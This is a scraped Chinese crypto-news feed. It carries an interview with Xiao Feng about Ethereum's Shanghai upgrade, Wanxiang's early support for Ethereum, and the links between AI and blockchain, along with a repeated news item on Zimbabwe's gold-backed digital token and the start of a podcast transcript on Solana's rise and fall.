年开始就在寻找各种版本的解决方案，都是希望在以太坊上使用一些技术解决方案把性能稍加提升。我觉得这两方面的努力最终一块形成了 PoS 以及 PoS 之后的分片、分层、包括零知识证明等等在内的升级。慢慢到现在，应该说在上海升级之前，实际上从去年开始，以太坊的路线图框架就变得非常清晰了。这也有一个过程，16、17 年间我们赞助了 Devcon，在 17 年之后，万向区块链实验室也赞助了比如 PraSaga 之类的技术开发项目。我们当时也在征求 Vitalik 的意见，说 17 年我们帮你做什么事情，Vitalik 推荐我们去赞助 PraSaga，但最后 PraSaga 变种了。当初是你可以看到很多开发人员在努力地做这些事情，意识解决碳排放问题，而是解决以太坊的性能问题。因为以太坊是供大家做二次开发和应用的场所，但如果性能上不能支持的话，那么这个承诺是空的。 Patrick：以太坊的终极目标肯定要达 10 万的 TPS，上海升级能够达到多少？ 肖风：本来以太坊主网，是永远不会提升性能的，每秒 20 笔，这个性能它没有打算提高。我的个人看法认为以太坊作为一个基础协议，担任两个角色。第一个角色，它作为一个分布式主网，一个去中心化的网络，它负责解决网络的安全性和健壮性。第二个作为一条主链，它负责共识问题，提供共识和公信力，就是负责所有交易终局的登记和确认。那么以太坊只负责提供这两方面的功能，剩下的应用方面的事交给二层、三层、四层甚至将来五层来解决。 实际上那个去中心化、安全性和性能形成的不可能三角，它用一个分层的方式，通过一个协议堆栈的方式解决了，一层层往上堆。从一个去中心化网络角度来讲，就是去中心化账本终局确认。剩下的事情是分片，性能就提升一步，然后再通过第二层并行也好，硬件加速也好，带宽也好，把这个性能逐步提升。我个人的看法就是，也许到 5 层，也就是真正的最终应用层的时候，也许是一个百分之百中心化的。解决性能问题有两条路，一条路就是纯靠技术带宽，但问题是无论硬件加速或者其他类似 ZK 之类的技术，他最终可能没有办法支持每秒交易 100 万笔。将所有应用放在一个基础公链上，对一个具体的商业场景而言，最终解决性能的方法就是中心化。 Patrick：这也是您之前分享过的，我也非常赞成，就是底层去中心化，而应用层是中心化的。 肖风：对的，以太坊的去中心化，不排除一个百分之百中心化的应用是建在以太坊上的，依靠以太坊作为网络的安全性，依靠了以太坊作为一个分布式账本，进行最终的确权。这二者不一定是相互排斥的。 Patrick：OK，当然这里面就是上次在进行到 2.0 升级的时候，也有很多人说其实矿工的话语权少了一些，其实我记得 17 年分叉的时候，开发者在其中起的作用会更大一些。那关于节点矿工的作用或话语权问题，想问您是怎样看待的？ 肖风：我觉得区块链本身就是一个，因为它没有一个中心化的治理机制，所以大家一言不合就分叉，本来这就是用来解决终极分歧的方式，分叉本身是区块链治理的很重要的一条。区块链可以是现在的样子，也可以纯粹用区块链来做治理，中心化的商业用区块链来做治理也是一个非常好的办法。比如现在的中心化交易所，他们用默克尔树，用区块链来做资产证明，这就是用到区块链的部分技术来做自己的公司治理或者商业治理。区块链从治理上能为我们提供很大的帮助，其中一个办法就是之前提到的，一言不合就分叉，分叉之后看社区，看共识，也就是大部分人的意志。我相信 Vitalik 如果一定要做一个事情，社区并不喜欢的话，那么整个社区可能会走到另外的一个方向上去。那么无论是他指明的方向也好，带领的道路也好，他不能强迫任何人跟着他走，至少需要社区中的绝大多数人认为这个方向从中长期来讲可能是一个应该去的方向。从矿工角度来说，这个转变当中确实是在利益上有一些损失，但是这毕竟是大家的选择，不是 Vitalik 一个人的选择。 Patrick：我挺高兴肖风总能够客观的来看待这个问题，我觉得这其实也是让所有人都意识到区块链这个行业，它是一个公平透明的行业，正因为这一点，这个行业才能持续走下去，并且解决现在更多的中性化问题，就像 AI 的问题一样。那我最后其实就想问一下，您对 AI 的看法，还有关于 AI 与区块链的融合与对抗的看法。 肖风：这两个肯定不是对抗的，我觉得这两个东西要结合起来看，就是人类社会一直以来一直在走一条数字化迁徙的道路，在试图建立一个数字化的生存空间。1994 年，庞德写的数字化生存就像是一个宣言，说人类社会自从有了互联网之后，人类社会的数字化迁徙趋势慢慢显现出来了，人类趋向于去重构一个基于比特的数字世界。首先，这场迁徙是一系列的数字技术共同融合而不是由某一样技术去催化的，包括 AI，分布式计算或者云计算，还有区块链技术，他们之间是融合创新的关系。第二点，区块链作为一个全球化的基础性去中心化网络和账本，它本身就是为这个数字世界提供一个基础设施。数字世界里面需要一整套的记录，因为数据、权益、权利，需要有一个记账系统。那试想一下，在 GPT-4 的帮助下，每个人都具备了一个很强的专家的能力。以前有一个一万小时定律，就是你要成为某一方面的专家，最起码需要一万小时的专业训练。显然，现在的我们已经不需要这一万小时了，70 亿人都可以借助 GPT-4 成为专家。那试想一下，就算有 20 亿人，借助 GPT-4 或者未来的 GPT-5 成为各行各业的专家，创造很多很多东西，这种负荷是现有知识产权登记管理系统可以全部支持的吗？不可能支持得了的。那分布式账本就是一个很好的自我管理途径。在 Web2 时代，虽然有很多国家的法律约束了部分数据不属于或部分不属于互联网平台，每个客户对自己在互联网上的数据都有携带权、遗忘权、收益权，而这些权利事实上都是不可能在平台上实现的。 Patrick：数据，就是新的生产资料，我们其实已经意识到了。 肖风：其实这个问题无需立法，只要是使用区块链分布式账本，将数据储存在数字钱包中，这些数据天然属于个人，属于自我，每个人够有自己管理钱包的权利。比如，你使用的是 EVM 钱包，那么在不同的区块链，不同的应用中间，携带钱包进行活动，不是一件自然的事情吗？ 这种在技术层面上就必然会用到区块链，以来支持、管理、确权那些人们在 AI 的帮助下创造出来的东西。就像现行的银行系统无法在区块链上服务大家一样，这也就是为什么说 DeFi 是一个金融基础设施重构的过程，DeFi 重构了一套在全球网络、全球计算机上去支持所有商业交易活动的一套新的金融市场体系。个人管理，是最低成本的选择。先有的权益登记体系、知识产权管理体系绝对支持不了 GPT-4 之下的人创造出来的东西。第二点是，信息的创造已经快到没有价值了，所以也没有必要再用什么资产去保护自己，只是说创造的东西对别人有价值就好。 Patrick：我很赞成。因为一说到 AI，大家还是特别激动，但因为时间关系我们要结束对谈了。我非常赞同今天所谈到的观点，宏观上 AI 是一个作为大锤子一样的生产力工具，然后区块链作为一个生产关系，去协调大家的各种生产资料，并将这些生产资料组织起来，我们也持这个观点。所以我们前段时间也特意把内部一篇讨论了很久的东西浓缩之后发了出来，就是未来 50 年将三浪叠加，第一就是 AI，第二就是 Web3，第三就是数字化空间，也就是我们今天所说的元宇宙，这三浪叠加就将是未来 50 年的大的发展方向。非常感谢肖风总。 肖风：谢谢，也谢谢 Patrick。  ( 4 min )
    蓝驰创投Patrick对话万向肖风：以太坊的上海印记，从东方走向世界
    主持人：Patrick，蓝驰创投 嘉宾：肖风，万向区块链董事长及 HashKey Group 董事长 整理：Amber，Foresight News 本文为以太坊上海升级共学系列活动中，Patrick 与肖风线上对话的文字内容。 Patrick：我们今天和众多 DAO 组织准备了这样一个上海升级的系列活动。这个系列活动一方面是为了庆祝区块链，另一方面是纪念以太坊上海升级这一重大的里程碑，然后也是复盘一下以太坊网络中的华人力量，总结华人在以太坊链上的贡献。当然这都已经是过去的事情了，我们虽然常说不念既往，纵情向前，但我觉得历史的东西还是值得拿出来好好回顾一下的，回看以太坊过去的一系列重要时刻，肖风总一直是华人区块链行业的精神领袖，那么我们今天，很荣幸能和肖风总一起交流一下，分享一些这个行业过去发生的事。在开始之前，我先简单自我介绍一下，我叫 Patrick 刘勇，现在在蓝驰创投做 Web3 和 AI，尤其是 AI 应用层的投资，所以我也特别关注 crypto 和 AI 的结合。那么您要先说两句吗？还是我们直接问问题？ 肖风：对，就直接问题，也非常感谢你，给我这个机会。 Patrick：首先，您其实是在 2014 年进入中国的，您能不能简单花一两分钟跟大家描述一下，到现在为止的几个重要的里程碑事件。 肖风：其实我刚刚在群里发了一篇我写的文章，因为以太坊有一个英文传记在几个月前出版了，出版社之前把稿子给我看了一下，希望我写一个序。后来我一看，这本传记事欧美人写的，对以太坊和中国的关系，和上海的关系以及和中国社区、中国开发者的关系一笔带过。文章的名字叫以太坊的上海时刻。 Patrick：非常应景。 肖风：应该说在过去，尤其是以太坊刚开的那段时间，国内的社区和开发者反应很及时，对以太坊倾注了很大的资源和热情，包括 14 年翻译了很多以太坊相关的资料。我自己是从 2014 年开始了解以太坊，当时觉得这是一个非常伟大的构想。因为如果区块链它作为这样一个伟大的发明，不能允许别人在上面做开发或者不能做应用，那这将是一个巨大的损失。 因为它可能丧失，区块链技术也好，分布式账本也好，所能给社会、给商业，尤其是给人类带来的数字化进程。大家可能发现 ChatGPT 出来之后，数字化的进程可能突然一下加速了。这个数字化进程跟这些都有关系，就是分布式账本这些作为一个全球统一的网络，任何区块链网络上的创业行为，百分之百是面对全球客户的，因为你只要在区块链上做事情，就是在一个全球性的网络上做事情，就是在全球同一台计算机上做事情。实际上想想看，那就是一个数字世界，因为在数字世界里是没有时区，没有区域。这是区块链作为一个这样的去中心化网络，去中化的全球同一张网络和去中心化的全球同一张账本，这两个东西他真正是可能给人类社会带来巨大的改变，社会、商业、经济、生活都会带来巨大的改变。 这个改变有一个前提，就是你得允许大家在这个网络上，在这个账本上做不同的事情。显然比特币当初设想的就是一个全球货币，所以它没有打算在让大家在上面做事情，也没有智能合约，也没有这些东西。所以当初看见这么一个构想，确实很激动人心，在当时就有这样一个伟大的东西可以做这些事情，允许大家无需许可加入这个网络，其实是非常让人激动的。这些都是 14 年看到的，应该说当时的中国社区和开发者对这是很敏感的，所以有很多人开始去推介它，包括当时翻译出以太坊的那位，他也是从 14 年到中国来，开始学习中文的。 Patrick：2014 年 V 神到中国来，然后您当时也跟他谈了投资的事情，并且完成了这个投资。然后 2015 年是 Elon Musk 发起的 OpenAI，捐助了 1 亿美金进来，所以时间线上衔接得非常紧凑。您刚刚回顾了一路走来以太坊给您带来惊喜的地方，是不是还看到了不足的地方？因为我实际上从文章中看到了说他账户里也没有多少钱，而且大家是非常怀疑他的。那么回顾历史的时候，您看到他账户上究竟还剩多少钱？究竟遇到了什么样的信任危机。 肖风：第一，我跟他相见是在 15 年的时候，虽然我们是在 14 年的 12 月份了解到他，有一次在公开论坛上，我有一个演讲专门介绍以太坊。当这个新闻传开之后，我才跟他联系上，他也是在 2015 年 3 月才到上海，不是以太坊众筹的时间。 Patrick：这就更有趣了，这刚好和 OpenAI 成立的时间一样。 肖风：以太坊是 15 年 7 月份主网上线的。前面说 15 年的这两个对人类社会有巨大影响的技术系统都是 15 年开始的，但很可惜的是他们都发生在美国，不发生在中国。当时其实也没有什么，就是在主网没上线之前，基金会与那些手中的 Token 是锁定的，大概账户上是 1800 万美元，然后在花到一定程度之后账户上还是有钱的，我记得当时账户上应该还有 300 万美元。 毕竟主网还没有上线，大家会问这些钱还够不够？事实上，当时是没有面临性能危机的。那就有人还是会问，你这钱能不能支撑到主网上线？如果不能的话，怎么办呢。正好当时 Vatalik 也在上海，正好到我们办公室来。然后当时听说他昨天晚上在开会，来自各方的声音都在问他怎么解释，他并没有当场回答。我当时听说了这个事情，其实当时并不是为了投资，而是为了这样一个伟大的事情，帮助这个年轻人，我们都是真的只想帮助他。 我们当时的想法也很简单， 首先，我们可以给出 50 万美元的现金，其次我们也向社区表明了，在给出 50 万美金之后，我们还可以进行持续的支持。 Patrick：这个相当于是持续的 backup。 肖风：对对，我们跟以太坊基金会签订了这样的捐赠协议并把钱给到对方之后，以太坊基金会承诺在主网上线他们的 Token 能够解锁的时候，按照我们捐赠时的价格把 Token 给到我们。我们当时的想法就是，支持他们，万一主网上不了线，也没什么关系，我们算是支持了这样一个伟大的构想，并没有用投资的角度去想它。 Patrick：对，这个事情还挺像 Elon Musk 当时创立 OpenAI 的思想。最开始也是想做成一个 social venture。我们蓝驰创投专门也有一个做 social venture，也就是叫作社会风险资本。这种 social venture 不以商业为目的，其实您当时投资的首要出发点也并不是商业，对吧？ 肖风：是的，我们当时真的没有想到商业。这也是为什么以太坊这次的升级被命名为上海升级，这都是一个承诺，所以当初我们说了会持续的投资。当然后来结果很好，以太坊主网上线如期进行，一天都没有拖延，在主网上线之后，以太坊基金会其实财政状况没有任何问题，那个时候它有很多的钱。那么在 15 年年底或者 16 年年初的时候，Vitalik 又到上海来，我说我们是答应过的，16 年我们还会给持续地给以太坊基金会支持。后来以太坊基金会包括 Vitalik 本人都说，现在以太坊已经不需要额外的资金支持了。我说你不需要当然很好，但是我说我们万向区块链实验室的承诺并不是吹牛，我们一定要把它圆了。所以我们就提议，将 Devcon 放到上海来开，那么全程费用由万向区块链实验室提供，所有的门票和赞助收入归以太坊基金会。我们是打算通过这样的方式继续履行承诺，继续支持以太坊基金会。 Patrick：这是另外一个支持方式，一方面，最开始是钱，后来不需要钱了之后，现在实际上是对生态的支持。 肖风：对，我们就是希望中国的工程技术人员能有一次机会去参到一个聚集了全球开发者的大会，去听听大家的讨论。以太坊现在大部分的发展方向或者已经实现的发展，在上海 3 天的 Devcon 上都有很前沿的讨论。经过那次 Devcon 之后我们内部有一个共识，就是以太坊的 Devcon 是一定要去参加的，他讨论的是未来 2 年、3 年区块链技术发展的趋势，然后可能需要花 2 年、3 年甚至 5 年才能实现的，但是你要是想真正了解区块链技术，你一定要去参加 Devcon，认真听完之后就知道未来几年区块链技术的发展趋势是怎么样的。这也是上海升级的一个来源。 Patrick：说到 Devcon，其实从 Devcon0 到 Devcon1 再到 Devcon2 包括还有后面的，再有万向每年还在举办万向区块链周。在我的印象中，Devcon 确实培养出很多人来，在以太坊的生态中，万向也是做出了非常大的贡献的。当然跟万向或者以太坊相关的其他人也做出了很多贡献，您能不能在这里讲一讲别的贡献的故事，也提醒一下我们这些后辈年轻人。 肖风：中国以太坊社区是很早就很活跃的。然后当然首先是 14 年的时候大家开始推介它，众筹的时候也有很多中国人参与，后来就有以太坊社区。Vitalik 本人在 17 年之前来中国的次数也很多了，因为整个社区跟以太坊基金会和 Vitalik 有非常密切的联系，这里面有很多人都做了很多事情，有些我并不全部掌握，因为大家都在北京、杭州、上海、深圳、成都，而且不同社区的人也在做不同的努力。有工程技术这边最早期的核心开发者，像谢函健；石海华投入了很大精力在中国、法国等地方做社区建设；我们也在其中做了一点点事情；像咕噜、巨蟹他们去翻译文章。当然还有很大一块是以太坊的矿工，矿工本来就是很有中国特色的东西，因为比特币的矿工主要也是在中国，矿工这块我不是很熟悉，但他们也是确确实实地为以太坊的发展作出巨大贡献的。 Patrick：那您和 V 神相知相识也很深了，如果让您对让他的特征进行概括的话，您会用哪些关键词呢？ 肖风：我觉得他的关键词如果用比较形象的话，就他跟 Elon Musk 是差不多的怪人。一定是个怪人。Elon Musk，首先，你看他住很小的房子，其次他可以两个月住在工厂里，最早收购 Twitter 之后，他也就在办公室里弄个床。这个很像 Vitalik，一个对生活没有很高诉求的人。最初 15 年他到上海来，他就住在沈波家里，第二次来就找了个类似如家的酒店，每次来都住上半个月一个月，社区邀请他，他就去杭州一趟，结束了他就又回到上海。所以他就是一个对这方面没有什么感觉的人 Patrick：所以其实他的物质需求是很低的，他自己心怀星辰大海，但我也看到那里面就是您专门给他买了一个猫的摄影器。 肖风：对的，他是喜欢猫，很多宅男包括码农，都是特别喜欢猫的。 Patrick：嗯，对的，就是猫这个事情在以太坊的发展里起到了什么作用吗？其实我还专门去小小地研究了一下，CryptoKitty 里面有一只很贵的猫，坊间传闻那个是 V 神的猫。 肖风：那我还真的不知道了，但是猫呢，对 Crypto 圈也好，码农圈也好，宅男圈也好，是大家比较喜欢的一个宠物。 Patrick：OK，那下面有一个问题，我觉得还是挺敏感的，但我确实想听听您的想法。就是 V 神对于您的评价或者对万向区块链、Hashkey 的评价是怎样的，希望能用几个关键词来展现。 肖风：我们都没有讨论过对彼此的评价，所以我也不能代他来说这个话。首先，万向区块链的实验室，我们当时邀请他做我们的首席科学家，他很乐意，他也希望在国内除了有社区来推动以外，也有我们这样的一个区块链实验室作为一个更正式的机构一起来推动。万向区块链的实验室最早期的时候是在做三件事。一是去培训，原先最早的 Blockchain 黑客马拉松是在 16 年 1 月份，Vitalik 不仅全程参加，而且我们从以太坊社区，从欧美来了三个导师。这三个导师是最早帮助万向区块链实验室去建立自己的培训师资队伍的，这三个人是专门在上海工作过一段时间的。因为中国社区为以太坊做出了很多贡献，那么这实际上是以太坊和 Vitalik 本人反过来对中国企业的回馈。他也是为中国社区的建设做了很多贡献的，包括当初我们去开小的培训班，做黑客马拉松，他自己每年都来参加我们在上海的区块链峰会。 Patrick：所以他还是感恩的，这个关键词还是有，感恩。 肖风：也不能这样讲，大家还是互相支持的，这一点很好。所以说，我们个人之间，没有说你对我评价什么，我对你评价什么。但是在去年，传记的中文版《点对万物》出版之后，我写的传记被大家传开了，Vitalik 当时也看到了那个，并且委托当时和他一起吃饭的一个人联系到我，谈了我写的序，说 Vitalik 好几年没见到我了，很想念我。应该说，大家认识了这么长一段时间，尤其是在早期的时候，大家一起非常勤奋地做一件同样的事情，所以确实很难忘。 Patrick：在共苦之后，现在就应该是同甘的时候。当然说到现在，就是简单的两个小问题，那么关于上海升级，究竟想解决什么问题？他们离以太坊的终极目标究竟还有多远？ 肖风：我觉得最早的上海升级其实很早就开始讨论了，那当然是一个从 ESG 的角度，从 PoW 转成 PoS，解决碳排放的问题，这肯定是最初的驱动力。我的个人看法觉得另外一个就是要解决公链的性能问题。解决公链的性能问题最初并没有很清晰的解决方案，最早从 16、17 年开始就在寻找各种版本的解决方案，都是希望在以太坊上使用一些技术解决方案把性能稍加提升。我觉得这两方面的努力最终一块形成了 PoS 以及 PoS 之后的分片、分层、包括零知识证明等等在内的升级。慢慢到现在，应该说在上海升级之前，实际上从去年开始，以太坊的路线图框架就变得非常清晰了。这也有一个过程，16、17 年间我们赞助了 Devcon，在 17 年之后，万向区块链实验室也赞助了比如 PraSaga 之类的技术开发项目。我们当时也在征求 Vitalik 的意见，说 17 年我们帮你做什么事情，Vitalik 推荐我们去赞助 PraSaga，但最后 PraSaga 变种了。当初是你可以看到很多开发人员在努力地做这些事情，意识解决碳排放问题，而是解决以太坊的性能问题。因为以太坊是供大家做二次开发和应用的场所，但如果性能上不能支持的话，那么这个承诺是空的。 Patrick：以太坊的终极目标肯定要达 10 万的 TPS，上海升级能够达到多少？ 肖风：本来以太坊主网，是永远不会提升性能的，每秒 20 笔，这个性能它没有打算提高。我的个人看法认为以太坊作为一个基础协议，担任两个角色。第一个角色，它作为一个分布式主网，一个去中心化的网络，它负责解决网络的安全性和健壮性。第二个作为一条主链，它负责共识问题，提供共识和公信力，就是负责所有交易终局的登记和确认。那么以太坊只负责提供这两方面的功能，剩下的应用方面的事交给二层、三层、四层甚至将来五层来解决。 实际上那个去中心化、安全性和性能形成的不可能三角，它用一个分层的方式，通过一个协议堆栈的方式解决了，一层层往上堆。从一个去中心化网络角度来讲，就是去中心化账本终局确认。剩下的事情是分片，性能就提升一步，然后再通过第二层并行也好，硬件加速也好，带宽也好，把这个性能逐步提升。我个人的看法就是，也许到 5 层，也就是真正的最终应用层的时候，也许是一个百分之百中心化的。解决性能问题有两条路，一条路就是纯靠技术带宽，但问题是无论硬件加速或者其他类似 ZK 之类的技术，他最终可能没有办法支持每秒交易 100 万笔。将所有应用放在一个基础公链上，对一个具体的商业场景而言，最终解决性能的方法就是中心化。 Patrick：这也是您之前分享过的，我也非常赞成，就是底层去中心化，而应用层是中心化的。 肖风：对的，以太坊的去中心化，不排除一个百分之百中心化的应用是建在以太坊上的，依靠以太坊作为网络的安全性，依靠了以太坊作为一个分布式账本，进行最终的确权。这二者不一定是相互排斥的。 Patrick：OK，当然这里面就是上次在进行到 2.0 升级的时候，也有很多人说其实矿工的话语权少了一些，其实我记得 17 年分叉的时候，开发者在其中起的作用会更大一些。那关于节点矿工的作用或话语权问题，想问您是怎样看待的？ 肖风：我觉得区块链本身就是一个，因为它没有一个中心化的治理机制，所以大家一言不合就分叉，本来这就是用来解决终极分歧的方式，分叉本身是区块链治理的很重要的一条。区块链可以是现在的样子，也可以纯粹用区块链来做治理，中心化的商业用区块链来做治理也是一个非常好的办法。比如现在的中心化交易所，他们用默克尔树，用区块链来做资产证明，这就是用到区块链的部分技术来做自己的公司治理或者商业治理。区块链从治理上能为我们提供很大的帮助，其中一个办法就是之前提到的，一言不合就分叉，分叉之后看社区，看共识，也就是大部分人的意志。我相信 Vitalik 如果一定要做一个事情，社区并不喜欢的话，那么整个社区可能会走到另外的一个方向上去。那么无论是他指明的方向也好，带领的道路也好，他不能强迫任何人跟着他走，至少需要社区中的绝大多数人认为这个方向从中长期来讲可能是一个应该去的方向。从矿工角度来说，这个转变当中确实是在利益上有一些损失，但是这毕竟是大家的选择，不是 Vitalik 一个人的选择。 Patrick：我挺高兴肖风总能够客观的来看待这个问题，我觉得这其实也是让所有人都意识到区块链这个行业，它是一个公平透明的行业，正因为这一点，这个行业才能持续走下去，并且解决现在更多的中性化问题，就像 AI 的问题一样。那我最后其实就想问一下，您对 AI 的看法，还有关于 AI 与区块链的融合与对抗的看法。 肖风：这两个肯定不是对抗的，我觉得这两个东西要结合起来看，就是人类社会一直以来一直在走一条数字化迁徙的道路，在试图建立一个数字化的生存空间。1994 年，庞德写的数字化生存就像是一个宣言，说人类社会自从有了互联网之后，人类社会的数字化迁徙趋势慢慢显现出来了，人类趋向于去重构一个基于比特的数字世界。首先，这场迁徙是一系列的数字技术共同融合而不是由某一样技术去催化的，包括 AI，分布式计算或者云计算，还有区块链技术，他们之间是融合创新的关系。第二点，区块链作为一个全球化的基础性去中心化网络和账本，它本身就是为这个数字世界提供一个基础设施。数字世界里面需要一整套的记录，因为数据、权益、权利，需要有一个记账系统。那试想一下，在 GPT-4 的帮助下，每个人都具备了一个很强的专家的能力。以前有一个一万小时定律，就是你要成为某一方面的专家，最起码需要一万小时的专业训练。显然，现在的我们已经不需要这一万小时了，70 亿人都可以借助 GPT-4 成为专家。那试想一下，就算有 20 亿人，借助 GPT-4 或者未来的 GPT-5 成为各行各业的专家，创造很多很多东西，这种负荷是现有知识产权登记管理系统可以全部支持的吗？不可能支持得了的。那分布式账本就是一个很好的自我管理途径。在 Web2 时代，虽然有很多国家的法律约束了部分数据不属于或部分不属于互联网平台，每个客户对自己在互联网上的数据都有携带权、遗忘权、收益权，而这些权利事实上都是不可能在平台上实现的。 Patrick：数据，就是新的生产资料，我们其实已经意识到了。 肖风：其实这个问题无需立法，只要是使用区块链分布式账本，将数据储存在数字钱包中，这些数据天然属于个人，属于自我，每个人够有自己管理钱包的权利。比如，你使用的是 EVM 钱包，那么在不同的区块链，不同的应用中间，携带钱包进行活动，不是一件自然的事情吗？ 这种在技术层面上就必然会用到区块链，以来支持、管理、确权那些人们在 AI 的帮助下创造出来的东西。就像现行的银行系统无法在区块链上服务大家一样，这也就是为什么说 DeFi 是一个金融基础设施重构的过程，DeFi 重构了一套在全球网络、全球计算机上去支持所有商业交易活动的一套新的金融市场体系。个人管理，是最低成本的选择。先有的权益登记体系、知识产权管理体系绝对支持不了 GPT-4 之下的人创造出来的东西。第二点是，信息的创造已经快到没有价值了，所以也没有必要再用什么资产去保护自己，只是说创造的东西对别人有价值就好。 Patrick：我很赞成。因为一说到 AI，大家还是特别激动，但因为时间关系我们要结束对谈了。我非常赞同今天所谈到的观点，宏观上 AI 是一个作为大锤子一样的生产力工具，然后区块链作为一个生产关系，去协调大家的各种生产资料，并将这些生产资料组织起来，我们也持这个观点。所以我们前段时间也特意把内部一篇讨论了很久的东西浓缩之后发了出来，就是未来 50 年将三浪叠加，第一就是 AI，第二就是 Web3，第三就是数字化空间，也就是我们今天所说的元宇宙，这三浪叠加就将是未来 50 年的大的发展方向。非常感谢肖风总。 肖风：谢谢，也谢谢 Patrick。  ( 4 min )
    津巴布韦央行将推出黄金支持的数字货币作为该国法币
    PANews 4月23日消息，据金十引援星期日邮报报道，津巴布韦央行将推出一种黄金支持的数字货币作为该国交易的法定货币，为稳定当地货币的干预措施的一部分举措。引入数字黄金代币将代表着央行使用该国黄金储备来锚定津巴布韦元的第一步行动。 津巴布韦货币当局设想，数字黄金代币将允许那些持有少量津巴布韦元的人将其货币兑换为代币，以实现价值储存并对冲汇率波动。与此同时，津巴布韦央行也在考虑向市场投放更多的“雷鸣雨雾”（Mosi-oa-Tunya）金币，以遏制津巴布韦元最近的贬值。  ( 1 min )
    津巴布韦央行将推出黄金支持的数字货币作为该国法币
    PANews 4月23日消息，据金十引援星期日邮报报道，津巴布韦央行将推出一种黄金支持的数字货币作为该国交易的法定货币，为稳定当地货币的干预措施的一部分举措。引入数字黄金代币将代表着央行使用该国黄金储备来锚定津巴布韦元的第一步行动。 津巴布韦货币当局设想，数字黄金代币将允许那些持有少量津巴布韦元的人将其货币兑换为代币，以实现价值储存并对冲汇率波动。与此同时，津巴布韦央行也在考虑向市场投放更多的“雷鸣雨雾”（Mosi-oa-Tunya）金币，以遏制津巴布韦元最近的贬值。  ( 1 min )
    Solana回忆录：一代“以太坊杀手”的五年沉浮
    本文转录自 STEPN 首席营收官、 Multicoin Capital 前合伙人 Mable 的播客 HODLong 后浪，如需收听原播客，请点击链接 在 FTX 宣布破产之后，被其全力支持的 Solana 公链遭到重创，陷入困境：公链代币 SOL 价格大跌，从高点 100 美元跌至不足 10 美元（当前已回升至 22 美元）；链上 TVL 较历史高点跌近 98%；随后还在今年 2 月出现长达 48 小时的宕机情况，却无人发现。面对用户量大幅流失、节点罢工，甚至包括知名 NFT 项目 DeGods、y00ts 的离开，Solana 基金会的努力看起来如此无力。曾经风光一时、最有望成为 「以太坊杀手」 的 Solana 公链如今陷入了无人问津的处境。 Solana 与 FTX 的千丝万缕或许是其成功的原因之一，但却不是必然。本文整理自STEPN 首席营收官、 Multicoin Capital 前合伙人Mable 于 2023 年 1 月发布的播客内容，作为重仓 Solana 的投资机构 Multicoin Capital 可谓成也萧何，败也萧何。 通过本文，我们一起来回顾一下这条王者公链的跌宕沉浮。正值 FTX 重启话题热议之时，也许 Solana 公链有朝一日也会重整旗鼓，再度扬帆跻身强者之战。 前阵子有朋友就说，你怎么没有从来没有聊过 Solana，我说这个话题太大了。然后有朋友说特别感兴趣 Solana 从最早 18 年 19 年到现在是怎么做起来的，还有 FTX、 Sam 和 Solana 是怎么相互选择的，还有价格奇迹，这些其实都是在 2020 年和 2021 年被大家津津乐道，又从来没有人聊过的事情。 没有聊 Solana 是因为一直没有找到合适的人对谈，不管是生态里的任何一块，能聊的东西都挺多的。但是其实今天 Solana 已经成为科技行业多多少少都会有所耳闻的一个名字，既然找不到一个合适的人，那我决定做一期自己的节目。 Anatoly Yakovenko，一个乌克兰裔的前高通工程师，他在 2018 年初叫上十几年的老朋友 Raj Gokal，也就是后来 Solana 的 COO，一起创立了 Solana。Anatoly 后来还邀请了他在高通的老板加入 Solana。 他在最开始接触图灵完备的区块链的时候，想自己做一个链上的订单部交易平台。图灵完备的意思就是能在上面编译智能合约的以太坊，然后他非常快地发现了以太坊其实无法承载如此大吞吐量的链上交易，因此他决心自己做一个智能合约平台，但是发现基础设施不行，就决定自己来做基础设施。有一天夜里，Anatoly 喝了 3 杯咖啡，翻来覆去睡不着，爬起来写下最初的 Solana 代码，这就是 Solana 诞生一个比较淳朴的故事。 19 年以前的万向区块链大会是在上海，世界各地的人都挺趋之若鹜，项目方想要获得声量或者曝光，就一定会去夏天的上海、杭州。18 年 19 即使是在熊市比较糟糕的时候，中国都算是一个比较活跃的沃土。在那时区块链行业里面，中国资本仍然还有相当大的话语权，项目方都愿意来中国融资。Solana 当时就来中国融资。我还清楚地记得，从北京到上海到首尔，他们在各个地方办活动，给大家讲 Solana 是什么，为什么要做这个项目。外国项目在融资的时候通常是很忙的，即使是晚上也可能尽量安排和一些投资人培养感情。 Anatoly 和 Raj，还有首席科学家 Eric Williams，以及他们早期在 Discord 或在 Telegram 上面招的一个社群运营 Dom，现在也是元老级别的人物了，都在这次亚洲融资之旅中。其实在中国、韩国和日本他们都尝试融资，但是都不太顺利，应该说是四处碰壁，一方面也是因为他们的故事没这么精彩，中国投资人并不买账。于是很多时候他们只能喊上为数不多在亚洲认识的朋友在所在的城市喝酒。 当时很多人都讲这种高性能公链的故事，到头来都一地鸡毛，所以大家非常不相信。其次也是因为熊市，大家的钱也都比较谨慎的揣在兜里，我那会儿还没有去 Multicoin Capital 工作，白天很多时候在网上冲浪学习，然后海外项目来中国路演的时候聊得来的，我基本上都会见一见，所以有很多个晚上都是和 Raj，Anatoly 一起喝酒度过的。我印象很深的是，Anatoly 比较喜欢喝纯的威士忌。很显然，如果他们能找到别的投资人愿意搭理他们，他们可能也不会经常和我一直聊天。 算是和团队相识于微时，我对于 Solana 整个认知是比较感性。我肯定没法做到绝对的公正，只能提供一个我视角里的故事。 所以我跟大家从我角度聊聊 Solana 是怎么起来的，和一些起起伏伏。首先我觉得第一个话题是很多人关心的 Solana 从 0 到 1 做对了什么事情。 谈谈他们朴素的开端，Solana 从来就不是一个含着金汤匙出生的团队。对比目前比较活跃的，或者有大家都在讨论的一层智能合约平台，也就我们说的公链。Solana 可能是历史上一级融资，包括私募加公募金额最少的非 EVM 兼容的公链团队。 做这个节目的时候，我突然想起来 Polygon 团队，其实那时应该是比 Solana 更难。难到什么程度？18 年的时候他们最开始的创始人 JD 出去融资，那时以太坊侧链应该说是遍地开花，很多人也质疑他们的安全性，觉得毫无保障，再加上这个团队平平无奇。JD 英语有很浓的印度口音，甚至没有人要投他。所以他们在上 Binance Launchpad 之前，就只有 Binance Labs 和 Coinbase Ventures 投资了他们，他们想万一做成了呢，现在看来这个万一确实是成了。这两家加起来投了可能不到 100 万美元。 后来我在 Messari 上面一查，他们公募的 500 万美元出让了 18 个点的通证，难以想象，因为股权融资和币权融资差别非常大，所以任何一个项目只跟一家机构去出让 18% 通证，那绝对是惊天地泣鬼神的。有一些项目它可能整个团队加起来就只有 15%。当然了，这个 18% 通证是给 Binance 上的交易者的，所以也算是散给了社区，但在今天看来是几乎不可想象的。 还有一些 Rollup 团队，比如说 Optimism，比如说 